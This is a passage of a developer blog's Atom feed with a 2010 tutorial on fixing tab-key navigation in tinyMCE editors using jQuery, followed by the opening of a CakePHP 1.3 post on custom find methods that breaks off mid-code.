    <link href="https://blog.pixelastic.com/2010/05/12/tabindexing-and-inserting-tabs-with-tinymce/"/>
    <updated>2010-05-12T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/12/tabindexing-and-inserting-tabs-with-tinymce</id>
    <content type="html">&lt;p&gt;You may have noticed that you can&#39;t press tab to jump from field to field in a
form that uses tinyMCE. There is a plugin named &lt;code&gt;tabfocus&lt;/code&gt; in the core that is
here to allow just that.&lt;/p&gt;
&lt;p&gt;But it does not seem to work correctly if you already have tabindex values
defined on your inputs. So I decided to code my own.&lt;/p&gt;
&lt;p&gt;I choose the easiest way, letting the browser do most of the job. I only copied
the textarea &lt;code&gt;tabindex&lt;/code&gt; value to the create iframe and it did the trick.&lt;/p&gt;
&lt;p&gt;I created a tinyMCE for that, here the code of the init() method. By the way,
I&#39;m using the jQuery version of tinyMCE.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We set a tabindex value to the iframe instead of the initial textarea&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;onInit&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; editorId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editorId&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;    var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; textarea&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editorId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editorId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;_ifr&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;tabindex&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;textarea&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;tabindex&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    textarea&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;tabindex&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What it does is grabbing the initial &lt;code&gt;tabindex&lt;/code&gt; value of your textarea and
setting it to the tinyMCE iframe. You have to wrap this in &lt;code&gt;onInit.add&lt;/code&gt; because
at the time the plugin &lt;code&gt;init&lt;/code&gt; method is called, the iframe is not yet created. I
also removed the &lt;code&gt;tabindex&lt;/code&gt; value from the original textarea, two elements
aren&#39;t supposed to have the same &lt;code&gt;tabindex&lt;/code&gt; value.&lt;/p&gt;
&lt;p&gt;This method does not work in Chrome. Chrome always add a tab character when you
press the tab key in a tinyMCE editor, it does not jump to the next tabindexed
element. Is that a good behavior? I don&#39;t know, it surely is useful to be able
to insert tab characters, but it also is useful to tab through the whole form.&lt;/p&gt;
&lt;h2&gt;Listening to the tab key&lt;/h2&gt;
&lt;p&gt;Anyway, I decided to hook on the &lt;code&gt;keyDown&lt;/code&gt; event and listen to the tab key being
pressed. This way I could manually jump focus to the next field when tab is
pressed, or insert a tab character when Shift+Tab is pressed (for example).&lt;/p&gt;
&lt;p&gt;I used the tinyMCE event helper methods and wrote this (just add it right after
the previous &lt;code&gt;editor.onInit.add&lt;/code&gt; code):&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// We hook on the tab key. One press will jump to the next focusable field. Maj+tab will insert a tab&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;onKeyDown&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We only listen for the tab key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;keyCode&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;       &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Shift + tab will insert a tab&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;shiftKey&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;execCommand&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mceInsertContent&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;t&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Event&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cancel&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Just pressing tab will jump to the next element&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; tabindex&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editorId&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;_ifr&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;tabindex&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We get all the tabindexed elements of the page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; []&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;:input[tabindex]&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;each&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;tabindex&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We find the next after our element and focus it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; position&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;tabindex&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; continue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;position&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;focus&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    break&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  tinymce&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Event&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cancel&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, we discard any key press that is not a tab key.&lt;/p&gt;
&lt;p&gt;Then we check if the Shift key is pressed, and if so we add a tab character and
stop there.&lt;/p&gt;
&lt;p&gt;The biggest part is jumping to the next field. I can&#39;t revert to the browser
default for that because every browser default behavior is different and I
surely don&#39;t want to do some browser sniffing.&lt;/p&gt;
&lt;p&gt;I first get the list of all the input fields that have a &lt;code&gt;tabindex&lt;/code&gt; value (your
fields should have one), then I sort them in &lt;code&gt;tabindex&lt;/code&gt; order and then loop
through the list and stop when I&#39;ve found one with a bigger &lt;code&gt;tabindex&lt;/code&gt; that the
actual field. I focus this one and stop the loop.&lt;/p&gt;
&lt;h2&gt;One final word&lt;/h2&gt;
&lt;p&gt;I&#39;ve tested under Firefox 3.6, Chrome, Safari and Opera. Haven&#39;t tested IE yet
because I still have a lot of other scripts to debug in IE first.&lt;/p&gt;
&lt;p&gt;As said earlier, maybe you could skip the whole tabindex listing if you
intelligently revert to browser default for the browser that will jump to the
next field but I have no idea how to test for that.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using custom find and paginate methods in cakePHP 1.3</title>
    <link href="https://blog.pixelastic.com/2010/05/11/using-custom-find-and-paginate-methods-in-cakephp-1-3/"/>
    <updated>2010-05-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/05/11/using-custom-find-and-paginate-methods-in-cakephp-1-3</id>
    <content type="html">&lt;p&gt;For the blog plugin I&#39;m writing I needed a way to fetch only blog posts that
were actually published. I didn&#39;t want to write the find conditions every time I
had to make a request so I tried to define a custom find method.&lt;/p&gt;
&lt;p&gt;I remember having read something about that a while ago, in a blog or in a
changelog and so I thought it will be quite easy to implement using some cake
automagic.&lt;/p&gt;
&lt;p&gt;It was not that easy, I had to override two core methods in my &lt;code&gt;AppModel&lt;/code&gt;, but
here the result:&lt;/p&gt;
&lt;h2&gt;Using custom find methods&lt;/h2&gt;
&lt;p&gt;I wanted to be able to call my custom method writing
&lt;code&gt;$this-&amp;gt;Post-&amp;gt;find(&#39;published&#39;)&lt;/code&gt; so I created a &lt;code&gt;__findPublished()&lt;/code&gt; method in my
Post model.&lt;/p&gt;
&lt;p&gt;It basically returns a &lt;code&gt;find(&#39;all&#39;)&lt;/code&gt; with custom conditions.&lt;/p&gt;
&lt;p&gt;I then edited my AppModel file to hook on the default &lt;code&gt;find()&lt;/code&gt; method:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; find&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(), &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$order&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; null&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$recursive&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; null&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $methodName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;__find&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ucfirst&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Using default method if not defined&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;method_exists&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$methodName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // We force default fields and order keys or we could run into trouble for undefined index&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $options&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Set::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;merge&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;fields&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(), &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;order&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()), &lt;/span&gt;&lt;span 